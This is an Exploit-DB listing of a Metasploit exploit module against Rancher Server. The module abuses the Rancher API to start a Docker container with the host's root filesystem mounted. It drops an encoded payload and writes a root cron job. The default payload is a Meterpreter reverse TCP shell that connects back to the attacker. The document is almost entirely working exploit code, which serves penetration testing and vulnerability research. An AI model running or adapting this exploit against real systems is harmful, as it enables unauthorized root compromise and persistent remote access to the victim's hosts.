Rancher Server – Docker Daemon Code Execution (Metasploit)

  • 作者: Metasploit
    日期: 2017-10-09
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/42964/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::FileDropper
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Rancher Server - Docker Exploit',
    'Description'=> %q(
    Utilizing Rancher Server, an attacker can create a docker container
    with the '/' path mounted with read/write permissions on the host
    server that is running the docker container. As the docker container
    executes command as uid 0 it is honored by the host operating system
    allowing the attacker to edit/create files owed by root. This exploit
    abuses this to creates a cron job in the '/etc/cron.d/' path of the
    host server.
    
    The Docker image should exist on the target system or be a valid image
    from hub.docker.com.
    
    Use `check` with verbose mode to get a list of exploitable Rancher
    Hosts managed by the target system.
    ),
    'Author' => 'Martin Pizala', # started with dcos_marathon module from Erik Daguerre
    'License'=> MSF_LICENSE,
    'References' => [
    'URL'=> 'https://docs.docker.com/engine/security/security/#docker-daemon-attack-surface'
    ],
    'Platform' => 'linux',
    'Arch' => [ARCH_X64],
    'Payload'=> { 'Space' => 65000 },
    'Targets'=> [[ 'Linux', {} ]],
    'DefaultOptions' => { 'WfsDelay' => 75, 'Payload' => 'linux/x64/meterpreter/reverse_tcp' },
    'DefaultTarget'=> 0,
    'DisclosureDate' => 'Jul 27, 2017'))
    
    register_options(
    [
    Opt::RPORT(8080),
    OptString.new('TARGETENV', [ true, 'Target Rancher Environment', '1a5' ]),
    OptString.new('TARGETHOST', [ true, 'Target Rancher Host', '1h1' ]),
    OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'alpine:latest' ]),
    OptString.new('CONTAINER_ID', [ false, 'container id you would like']),
    OptString.new('HttpUsername', [false, 'Rancher API Access Key (Username)']),
    OptString.new('HttpPassword', [false, 'Rancher API Secret Key (Password)'])
    ]
    )
    register_advanced_options(
    [
    OptString.new('TARGETURI', [ true, 'Rancher API Path', '/v1/projects' ]),
    OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wait for the docker container to deploy', 60 ])
    ]
    )
    end
    
    def del_container(rancher_container_id, container_id)
    res = send_request_cgi(
    'method'=> 'DELETE',
    'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', rancher_container_id),
    'ctype' => 'application/json',
    'headers' => { 'Accept' => 'application/json' }
    )
    
    return vprint_good('The docker container has been removed.') if res && res.code == 200
    
    print_warning("Manual cleanup of container \"#{container_id}\" is needed on the target.")
    end
    
    def make_container_id
    return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil?
    
    rand_text_alpha_lower(8)
    end
    
    def make_cmd(mnt_path, cron_path, payload_path)
    vprint_status('Creating the docker container command')
    echo_cron_path = mnt_path + cron_path
    echo_payload_path = mnt_path + payload_path
    
    command = "echo #{Rex::Text.encode_base64(payload.encoded_exe)} | base64 -d > #{echo_payload_path} \&\& chmod +x #{echo_payload_path} \&\& "
    command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} \&\& "
    command << "echo \"\" >> #{echo_cron_path} \&\& "
    command << "echo \"* * * * * root #{payload_path}\" >> #{echo_cron_path}"
    
    command
    end
    
    def make_container(mnt_path, cron_path, payload_path, container_id)
    vprint_status('Setting container json request variables')
    {
    'instanceTriggeredStop' => 'stop',
    'startOnCreate' => true,
    'networkMode' => 'managed',
    'requestedHostId' => datastore['TARGETHOST'],
    'type'=> 'container',
    'dataVolumes' => [ '/:' + mnt_path ],
    'imageUuid' => 'docker:' + datastore['DOCKERIMAGE'],
    'name'=> container_id,
    'command' => make_cmd(mnt_path, cron_path, payload_path),
    'entryPoint'=> %w[sh -c]
    }
    end
    
    def check
    res = send_request_cgi(
    'method'=> 'GET',
    'uri' => normalize_uri(target_uri.path),
    'ctype' => 'application/json',
    'headers' => { 'Accept' => 'application/json' }
    )
    
    if res.nil?
    print_error('Failed to connect to the target')
    return Exploit::CheckCode::Unknown
    end
    
    if res.code == 401 && res.headers.to_json.include?('X-Rancher-Version')
    print_error('Authorization is required. Provide valid Rancher API Keys.')
    return Exploit::CheckCode::Detected
    end
    
    if res.code == 200 && res.headers.to_json.include?('X-Rancher-Version')
    target_found = false
    target_selected = false
    
    environments = JSON.parse(res.body)['data']
    environments.each do |e|
    res = send_request_cgi(
    'method'=> 'GET',
    'uri' => normalize_uri(target_uri.path, e['id'], 'hosts'),
    'ctype' => 'application/json',
    'headers' => { 'Accept' => 'application/json' }
    )
    
    hosts = JSON.parse(res.body)['data']
    hosts.each do |h|
    target_found = true
    result = "Rancher Host \"#{h['hostname']}\" (TARGETHOST #{h['id']}) on "
    result << "Environment \"#{e['name']}\" (TARGETENV #{e['id']}) found"
    
    # flag results when this host is targeted via options
    if datastore['TARGETENV'] == e['id'] && datastore['TARGETHOST'] == h['id']
    target_selected = true
    vprint_good(result + ' %red<-- targeted%clr')
    else
    vprint_good(result)
    end
    end
    end
    
    if target_found
    return Exploit::CheckCode::Vulnerable if target_selected
    
    print_bad("Your TARGETENV \"#{datastore['TARGETENV']}\" or/and TARGETHOST \"#{datastore['TARGETHOST']}\" is not available")
    if datastore['VERBOSE'] == false
    print_bad('Try verbose mode to know what happened.')
    end
    vprint_bad('Choose a TARGETHOST and TARGETENV from the results above')
    return Exploit::CheckCode::Appears
    else
    print_bad('No TARGETHOST available')
    return Exploit::CheckCode::Detected
    end
    end
    
    Exploit::CheckCode::Safe
    end
    
    def exploit
    unless check == Exploit::CheckCode::Vulnerable
    fail_with(Failure::Unknown, 'Failed to connect to the target')
    end
    
    # create required information to create json container information
    cron_path = '/etc/cron.d/' + rand_text_alpha(8)
    payload_path = '/tmp/' + rand_text_alpha(8)
    mnt_path = '/mnt/' + rand_text_alpha(8)
    container_id = make_container_id
    
    # deploy docker container
    res = send_request_cgi(
    'method'=> 'POST',
    'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers'),
    'ctype' => 'application/json',
    'headers' => { 'Accept' => 'application/json' },
    'data'=> make_container(mnt_path, cron_path, payload_path, container_id).to_json
    )
    fail_with(Failure::Unknown, 'Failed to create the docker container') unless res && res.code == 201
    
    print_good('The docker container is created, waiting for it to deploy')
    
    # cleanup
    register_files_for_cleanup(cron_path, payload_path)
    
    rancher_container_id = JSON.parse(res.body)['id']
    deleted_container = false
    
    sleep_time = 5
    wait_time = datastore['WAIT_TIMEOUT']
    vprint_status("Waiting up to #{wait_time} seconds until the docker container stops")
    
    while wait_time > 0
    sleep(sleep_time)
    wait_time -= sleep_time
    
    res = send_request_cgi(
    'method'=> 'GET',
    'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', '?name=' + container_id),
    'ctype' => 'application/json',
    'headers' => { 'Accept' => 'application/json' }
    )
    next unless res && res.code == 200 && res.body.include?('stopped')
    
    vprint_good('The docker container has stopped, now trying to remove it')
    del_container(rancher_container_id, container_id)
    deleted_container = true
    wait_time = 0
    end
    
    # if container does not deploy, try to remove it and fail out
    unless deleted_container
    del_container(rancher_container_id, container_id)
    fail_with(Failure::Unknown, "The docker container failed to start")
    end
    
    print_status('Waiting for the cron job to run, can take up to 60 seconds')
    end
    end